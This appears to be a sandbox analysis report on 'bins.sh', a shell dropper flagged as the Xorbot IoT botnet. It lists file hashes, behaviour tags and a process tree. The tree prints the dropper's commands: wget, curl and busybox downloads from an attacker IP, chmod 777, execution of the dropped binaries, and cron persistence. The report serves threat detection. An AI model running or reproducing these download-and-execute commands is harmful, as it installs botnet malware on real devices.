Analysis

  • max time kernel
    150s
  • max time network
    110s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/11/2024, 10:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e3acbc4ed14dedc6b101819151aa8e11

  • SHA1

    c27ad3916863d50bc1001b95d0fd39d831e3eebc

  • SHA256

    0d5e5ac44a1561346bce5197d027dbf920fc6e3a8f162b38ac4c03f953705544

  • SHA512

    4380b6cf9fb1a11c9de70e3a48bf8873868360ff194a33ce5e2a068ac913017ce7640510963cfed31e38d742fba3f13c5873fd56b1cb45939b96518558d61657

  • SSDEEP

    192:P/2hN5CGevfxme2NpJaWq20n/uqRqxqrqCbqQq6zdVhN5CGevf5me2Np/q20n/I7:noaxzdcq

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:715
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:718
        • /usr/bin/wget
          wget http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:745
        • /bin/chmod
          chmod 777 MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • File and Directory Permissions Modification
          PID:747
        • /tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          ./MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:748
        • /bin/rm
          rm MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          PID:750
        • /usr/bin/wget
          wget http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • Writes file to tmp directory
          PID:751
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • Writes file to tmp directory
          PID:752
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • Writes file to tmp directory
          PID:753
        • /bin/chmod
          chmod 777 h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • File and Directory Permissions Modification
          PID:754
        • /tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          ./h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • Executes dropped EXE
          PID:755
        • /bin/rm
          rm h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
            PID:757
          • /usr/bin/wget
            wget http://216.126.231.240/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • Writes file to tmp directory
            PID:758
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:759
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • Writes file to tmp directory
            PID:771
          • /bin/chmod
            chmod 777 WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • File and Directory Permissions Modification
            PID:775
          • /tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            ./WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • Executes dropped EXE
            PID:777
          • /bin/rm
            rm WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
              PID:780
            • /usr/bin/wget
              wget http://216.126.231.240/bins/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • Writes file to tmp directory
              PID:781
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:789
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • Writes file to tmp directory
              PID:795
            • /bin/chmod
              chmod 777 J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • File and Directory Permissions Modification
              PID:799
            • /tmp/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              ./J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:800
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:802
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:803
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:805
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:808
                  • /bin/rm
                    rm J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
                    2⤵
                      PID:810
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                      2⤵
                        PID:814
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                        2⤵
                          PID:816
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          2⤵
                          • Writes file to tmp directory
                          PID:821
                        • /bin/chmod
                          chmod 777 quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          2⤵
                          • File and Directory Permissions Modification
                          PID:828
                        • /tmp/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          ./quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          2⤵
                          • Executes dropped EXE
                          PID:829
                        • /bin/rm
                          rm quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          2⤵
                            PID:831
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                            2⤵
                              PID:832
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                              2⤵
                                PID:834
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                2⤵
                                • Writes file to tmp directory
                                PID:835
                              • /bin/chmod
                                chmod 777 SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                2⤵
                                • File and Directory Permissions Modification
                                PID:837
                              • /tmp/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                ./SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                2⤵
                                • Executes dropped EXE
                                PID:838
                              • /bin/rm
                                rm SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                2⤵
                                  PID:840
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l
                                  2⤵
                                    PID:841
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l
                                    2⤵
                                      PID:842

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9

                                    Filesize

                                    117KB

                                    MD5

                                    849fa04ef88a8e8de32cb2e8538de5fe

                                    SHA1

                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                    SHA256

                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                    SHA512

                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                  • /tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS

                                    Filesize

                                    127KB

                                    MD5

                                    89077b7bd4bcafca7713be43635c4862

                                    SHA1

                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                    SHA256

                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                    SHA512

                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                  • /tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /tmp/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /var/spool/cron/crontabs/tmp.Q1K1Ff

                                    Filesize

                                    210B

                                    MD5

                                    4fa88cdf475ac2d84057c6e81fbf9b61

                                    SHA1

                                    bc58467a39a51f9c5dafdf1d0d606a3827a22841

                                    SHA256

                                    b53e48e269ed3749c93ba51d50b7262ff408ad02d52505b23645eaf1bfc0615c

                                    SHA512

                                    83cb8e7e154dd5ef76924402163bf5e6f25e012494a70d05b66b734a4ec127476e0aca4e6baf58a5ad4110102832c55b14016eecbc72a30ee39e5fc5a38fad27